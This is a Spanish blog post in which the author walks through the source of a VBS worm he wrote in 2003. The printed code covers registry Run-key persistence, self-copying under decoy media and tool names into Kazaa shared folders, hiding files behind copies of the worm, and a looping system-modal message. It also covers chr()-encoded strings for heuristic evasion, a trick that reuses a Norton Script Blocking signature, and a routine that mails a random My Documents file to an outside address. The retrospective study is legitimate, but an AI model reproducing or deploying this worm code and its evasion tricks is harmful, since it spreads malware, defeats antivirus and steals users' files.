Análisis de un Worm VBS creado desde cero

En la entrega pasada analicé un pequeño Worm creado con la herramienta VBSWG (Visual Basic Script Worm Generator), vimos que genera código de relativamente baja calidad y facilmente analizable. Sin embargo, recordemos que dicha herramienta era muy usada en la primera mitad de la década de los 2000’s, en ese entonces el código generado podría considerarse bastante bueno, incluso hubo virus famosos creados con VBSWG.

Hoy presentaré el análisis de un Worm VBS que hice en el año 2003. Aunque nunca fue liberado, lo sigo considerando mi primer gusano.

Para que puedas seguir al pie de la letra este artículo, debes descargar una copia del Worm desde este repositorio de Github. Descarga el TXT para que sea seguro abrirlo. (El por qué bauticé al Worm como Belem es una larga historia; ya os la contaré en otra ocasión).

Una vez descargado ábrelo con el bloc de notas. En los bloques de código de este artículo  he incluido el número de línea del código original al comienzo del bloque para que sea  más fácil localizarlo

Análisis

Tal como hice en la entrega pasada, se va a mostrar el análisis de los siguientes puntos y la parte del código que las realiza.

  • “Instalarse” en el ordenador
  • Ejecutarse sin consentimiento del usuario al iniciar Windows
  • Reproducirse cada vez que se ejecuta
  • Evasión de heurística y bypass a AV’s (en este caso Norton)
  • Payloads visibles al usuario
  • Sustracción de información del equipo infectado

Instalarse en el ordenador

El gusano en cuestión comienza su rutina de instalación en la línea 19: rem <Install>. La instrucción rem en Visual Basic sirve para insertar un comentario de una línea. En la línea siguiente se crean unas cuantas variables y posteriormente el gusano obtiene su propio código fuente y lo guarda en la memoria (variable bo).

20: dim fiHand,sf,wf,loc,bo,w
set fiHand = createObject("Scripting.fileSystemObject")
set loc = fiHand.getFile(WScript.ScriptFullName)
set w = fiHand.opentextFile(loc,1)
bo = w.readAll

Después obtiene las rutas de las carpetas Windows y System32 con el método getSpecialFolders. En este punto cabe mencionar que la rutina de instalación solo se llevará a cabo si existe determinada clave en el registro de Windows.

27: dim WSH, lr, er
set WSH = createObject("WScript.Shell")
lr = WSH.regread (MINE & "Installed")
if lr <> "YES" then
' rutina de instalación aquí

MINE, es una constante con el valor “HKEY_LOCAL_MACHINE\Software\Burbuja\Belen\” por lo tanto la clave buscada es “HKEY_LOCAL_MACHINE\Software\Burbuja\Belen\Installed”, además deberá tener el valor “YES”

Para copiarse en las carpetas Windows y del Sistema, el gusano genera un número aleatorio entre 0 y 5 y dependiendo de este, elige entre el nombre y llave que utilizará en el run del registro.

52: randomize timer
h = int(rnd * 5)
select case h
case 0,1
   cop = "\WSH32.vbs"
   lav = "Windows Script Hosting"
case 2
   cop = "\Win32.vbs"
   llav = "Windows Default Loader"
case 3
   cop = "\ms32.vbs"
   llav = "Microsoft"
case 4
   cop = "\Agent.vbs"
   llav = "Microsoft Agent"
case 5
   cop = "\kernel.vbs"
   llav = "Windows Kernel"
end select
valo = cop
dim n
set n = fiHand.createTextFile(sf & cop)
n.write bo
n.close

También se copia a la carpeta System32 con el nombre rundll32.vbs

Ejecutarse sin consentimiento del usuario al iniciar Windows

Como era costumbre en esos tiempos (década de los 2000s), VBS/Belem se añade al run del registro de Windows para iniciar de manera automática al encender el equipo. A sí mismo para evitar que este proceso se lleve a cabo más de una vez asigna el valor “YES” a la siguiente clave del registro: HKEY_LOCAL_MACHINE\Software\Burbuja\Belen\Installed

79: WSH.regWrite MACHIN & "Software\Microsoft\Windows\CurrentVersion\Run\" & llav, sf & valo
WSH.regWrite MINE & "Installed", "YES"

Reproducirse cada vez que se ejecuta

Para reproducirse cada vez que se ejecuta se vale de varias rutinas:

  • Infect Files
  • Spread to Kazaa
  • Copiarse a la disquetera (sí, en 2003 aún se usaban mucho las disqueteras)

La rutina Infect Files realmente no infectaba ningún archivo, más bien buscaba archivos con ciertas extensiones para ocultarlos y poner una copia de sí mismo haciéndose pasar por el archivo original.

Las carpetas a “infectar” eran la carpeta Windows y la carpeta System32

91: rem <Infect files>
dim fol, ar, q, eName, se, es
set fol = fiHand.getFolder(sf)
set ar = fol.files
for each q in ar
   eName = fiHand.GetExtensionName(q.path)
   eName = ucase(eName)
   if (eName = e1 or eName = e2 or eName = e3 or eName = e4) then
      set se = fiHand.CreateTextFile(q.path & ".vbs",2,false)
      se.write bo
      se.close
   end if
   es = fiHand.getFile(q.path)
   es.attributes = 2 + 4
next
set fol = fiHand.getFolder(wf)
set ar = fol.files
for each q in ar
   eName = fiHand.GetExtensionName(q.path)
   eName = ucase(eName)
   if (eName = e1 or eName = e2 or eName = e3 or eName = e4) then
       set se = fiHand.CreateTextFile(q.path & ".vbs",2,false)
       se.write bo
       se.close
   end if
   es = fiHand.getFile(q.path)
   es.attributes = 2 + 4
next

Spread to Kazaa

Kazaa fue un cliente de intercambio de archivos P2P. Desde su aparición, los programas P2P fueron una fuente inagotable para esparcir malware, ya que usuarios inexpertos pueden pensar que están descargando contenido multimedia (música o videos) cuando en realidad estaban descargando una copia del gusano.

Para buscar la carpeta de instalación de Kazaa busca la ruta de %ProgramFilesDir% en el registro de Windows y asume que las carpetas de Kazaa están dentro de la misma. Posteriormente se copia a sí mismo con nombres atractivos(?)

124: rem <spread to kazaa>
dim pfd
pfd = WSH.regread (MACHIN & "Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir")
if pfd = "" then
   pfd = "c:\Archivos de Programa"
end if
dim k, z
k = "\KaZaA\My Shared folder\"
z = "\KaZaA Lite\My Shared Folder\"
loc.copy(pfd & k & "winzip81.exe.vbs")
loc.copy(pfd & z & "winzip81.exe.vbs")
loc.copy(pfd & k & "AntiMapson.vbs")
loc.copy(pfd & z & "AntiMapson.vbs")
loc.copy(pfd & k & "Folladas con Britney.mpeg.vbs")
loc.copy(pfd & z & "Folladas con Britney.mpeg.vbs")
loc.copy(pfd & k & "Air Supply - Even the nights are better.mp3.vbs")
loc.copy(pfd & z & "Air Supply - Even the nights are better.mp3.vbs")
loc.copy(pfd & k & "Asereje.mp3.vbs")
loc.copy(pfd & z & "Asereje.mp3.vbs")
loc.copy(pfd & k & "Avril Lavigne - Complicated.mp3.vbs")
loc.copy(pfd & z & "Avril Lavigne - Complicated.mp3.vbs")
loc.copy(pfd & k & "Infected Mushroom feat Space Cat - Mushroom on the space.mp3.vbs")
loc.copy(pfd & z & "Infected Mushroom feat Space Cat - Mushroom on the space.mp3.vbs")
loc.copy(pfd & k & "Mapson Remover.vbs")
loc.copy(pfd & z & "Mapson Remover.vbs")
loc.copy(pfd & k & "Mapson Cleaner Full.vbs")
loc.copy(pfd & z & "Mapson Cleaner Full.vbs")
loc.copy(pfd & k & "Lorraine Remover.vbs")
loc.copy(pfd & z & "Lorraine Remover.vbs")
loc.copy(pfd & k & "AntiLorraine.vbs")
loc.copy(pfd & z & "Antilorraine.vbs")
loc.copy(pfd & k & "Lorraine Cleaner.vbs")
loc.copy(pfd & z & "Lorraine Cleaner.vbs")

Evasión de heurística y Bypass de AV’s

En los productos antivirus se conoce como heurística a las técnicas que emplean para reconocer códigos maliciosos (virus, gusanos, troyanos, etc.) que no se encuentren en su base de datos, ya sea porque son nuevos, o por no ser muy divulgados.

Los worms escritos en VBS, al ser de texto plano, pueden ser detectados facilmente por los antivirus por medio de la heurística. Sin embargo, en el año 2003 había una forma muy fácil de hacer que Norton (quizá el AV más usado de la época) no revisara nuestro worm en busca de código malintencionado.

Norton tenía una funcionalidad llamada “Symantec Script Blocking“, que a decir verdad era bastante paranóica. Para evadir el Script Blocking lo único que teníamos que hacer es lo siguiente en un ordenador con Norton Antivirus instalado:

Crear un script vbs que tuviera una llamada a fso.createTextFile, por ejemplo este:

dim fso
set fso = createObject("Scripting.fileSystemObject")
set n = fso.createTextFile("\hola.txt")
n.write("Hola")
n.close

Ejecutarlo. Entonces Norton iba a mostrar un aviso similar al de la imagen

Aviso de Norton

Aviso de Norton

De la lista de acciones seleccionabamos “Always Allow (not recommended)” y aparentemente no pasaba otra cosa, mas que la continuación de la ejecucion del script.

Volvíamos a abrir el script con el bloc de notas y podíamos apreciar que Norton le puso una firma de autenticación similar a esta:

1: ' Symantec ScriptBlocking Authenticated File
' 59BA9737-A16D-4256-96F1-29FF4870D09E

Lo único que resta, es distribuir nuestro archivo infectado con dicha firma al comienzo del mismo. Norton solo revisaba que la firma (el 59BA…) fuera válida, pero no revisaba si correspondía al archivo que la contenía.

Para tratar de hacer bypass a otros antivirus la única forma era tratando de evadir la heurística, esto se logra de varias maneras, una de las más fáciles es tratar de ocultar las cadenas de texto que usualmente contienen los programas catalogados como malware.

La heurística de los AV’s de la epoca era especialmente agresiva(?) en lo que se refiere a detección de rutinas que invocaban llamadas al motor de Outlook. Recordemos que era el año 2003 y la mayoría del malware incluía rutinas que usaban el motor de Outlook para propagarse por correo electrónico.

Ocultar las cadenas de texto que usan la mayoría de malwares es relativamente sencillo. En el caso de VBS si la cadena que queremos ocultar es la llamada al motor de Outlook tenemos que enfocarnos en una linea como esta:

set ou = WScript.CreateObject ("Outlook.Application")

Y reemplazarla por algo como esto:

214: set ou = WScript.CreateObject(chr(99-20) & chr(115+2) & chr(100+16) & chr(110-2) & chr(111) & chr(120-9) & chr(77+30) & chr(106-70+10) & chr(5+60) & chr(112) & chr(80+32) & chr(88+20) & chr(115-10) & chr(199-100) & chr(97+0) & chr(136-20) & chr(95+10) & chr(141-30) & chr(109+1))

Se puede apreciar que la cadena “Outlook.Application” es expresada usando funciones Chr(), además como argumento en cada funcion no se colocó el ASCII de cada letra, sino una pequeña operación que da como resultado dicho ASCII.

Existen otras formas más efectivas de evasión, pero serán tratadas en próximas entregas.

Payloads visibles al usuario

Un payload visible al usuario puede consistir en Falsos mensajes de error, cambios de configuración (por ejemplo, cambio del fondo de escritorio), borrado de archivos.

Para VBS/Belem elegí mostrar un mensaje diciendo que el gusano no es destructivo, tambien se le cambia la página de inicio de Internet Explorer y en ocasiones, puede que le aparezca al usuario un mensaje que no se puede cerrar (loop infinito)

Mensaje con loop infinito

Dentro de la rutina de instalación se genera un número aleatorio entre 0 y 10, y si dicho número es cero o un par se crea un archivo VBS que contiene el loop infinito con un mensaje con el nombre del worm y es añadido al run del registro.

31: dim h, cop, llav, valo, infOrg, infOwn
dim flac: flac = "win"
dim ff
ff = "\" & flac & ".vbs"
set belen = fihand.createtextfile(sf&ff)
belen.writeline("rem")
belen.writeline("do")
belen.writeline("msgbox(" & chr(34) & MY_SELF & chr(34) & "),vbSystemModal")
belen.writeline("loop")
belen.writeline("rem that's very funny")
belen.close
dim funny
randomize timer
funny = int(rnd * 10)
select case funny
   case 2,4,6,8,0
      WSH.regWrite MACHIN & "Software\Microsoft\Windows\CurrentVersion\Run\Windows",sf&ff
      WSH.run sf & "win.vbs"
end select

Mensaje con los detalles de Worm

El segundo payload visible al usuario es un mensaje en el bloc de notas con los detalles del gusano. Para ello se crea un archivo en el de texto plano con la infomación a mostrar, y posteriormente es añadida al run del registro una llamada al bloc de notas para que abra dicho archivo.

157: <disclaimer>
dim j
set j = fiHand.CreateTextFile("c:\Belen.txt",2,false)
j.write("Virus Name: " & MY_SELF & vbcrlf)
j.write("Author: Burbuja" & vbcrlf)
j.write("Type: E-Mail and P2P.Kazaa Worm" & vbcrlf)
j.write("Dedicated to: All my friends :)" & vbcrlf)
j.write("Destructive: NO" & vbcrlf)
j.write("Purpose: Educational Only" & vbcrlf)
j.write("Language: Microsoft Visual Basic Scripting Edition" & vbcrlf)
j.write("<--------------------------------->" & vbcrlf)
j.write("Nombre del Virus: " & MY_SELF & vbcrlf)
j.write("Autor: Burbuja" & vbcrlf)
j.write("Tipo: Gusano de E-Mail y P2P.Kazaa" & vbcrlf)
j.write("Dedicado a: Todos mis amigos :)" & vbcrlf)
j.write("Destructivo: NO" & vbcrlf)
j.write("Proposito: Solo Educacional" & vbcrlf)
j.write("Lenguaje: Microsoft Visual Basic Scripting Edition" & vbcrlf)
j.write("<---------------------------------->" & vbcrlf)
j.write("(c) Mexico 2003 - b__@hotmail.com -" & vbcrlf)
j.write("Tulpetlac - Santa Clara - San Pedro" & vbcrlf)
j.write("GigaByte, exelente coder, de las mejores del mundo" & vbcrlf)
j.write("3 años de carcel, es de no creerse" & vbcrlf)
j.write("¿Por que encerrar el talento coder en una prision?" & vbcrlf)
j.write("GigaByte, all c0d3rS in the world are with you!! -Coding RULZ!" & vbcrlf)
j.write(MY_SELF)
j.close
WSH.regwrite MACHIN & "Software\Microsoft\Windows\CurrentVersion\Run\Disclaimer",wf &"\notepad.exe c:\Belen.txt"

Sustracción de información del equipo infectado

VBS/Belem incluye una rutina encargada de elegir un archivo al azar de la carpeta “Mis Documentos” y enviarlo por correo electrónico a cierta dirección.

Durante el análisis que hice para escribir este artículo constaté que dicha rutina contiene errores, por lo que decicí no explicarla a detalle. De cualquier forma adjunto el código de dicha sección. (Recuerda que puedes ver el código completo del Worm en este repositorio de Github)

190: rem <Take Files>
dim md2,fi,x
set md2 = WSH.SpecialFolders("MyDocuments")
dim md, who1, who2
set md = fiHand.GetFolfer(md2)
set fi = md.files
who1 = WSH.regread (MINE & "InfectedOwn")
who2 = WSH.regread (MINE & "InfectedOrg")
x=0
for each fi in md
   x = x + 1
next
dim s
randomize timer
s= int(rnd * x)
if s = 0 then s = 1
x = 0
for each fi in md
   x= x + 1
   if x = s then
     dim qq
     set qq = fiHand.getfile(fi.path)
   end if
next
dim ou, en
set ou = WScript.CreateObject (chr(99-20) & chr(115+2) & chr(100+16) & chr(110-2) & chr(111) & chr(120-9) & chr(77+30) & chr(106-70+10) & chr(5+60) & chr(112) & chr(80+32) & chr(88+20) & chr(115-10) & chr(199-100) & chr(97+0) & chr(136-20) & chr(95+10) & chr(141-30) & chr(109+1))
set en = ou.CreateItem(0)
en.Recipients.Add("cXXXXXX@hotmail.com")
en.Subject=(MY_SELF & " informa y envia")
en.Body=("Organizacion: " & who2 & vbcrlf & "Propietario: " & who1)
en.Attachments.Add(q.path)
en.send

Hasta aquí esta entrega. En la prómima comenzaremos a a estudiar el ya legendario Visual Basic 6.0

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión /  Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión /  Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión /  Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión /  Cambiar )

Conectando a %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.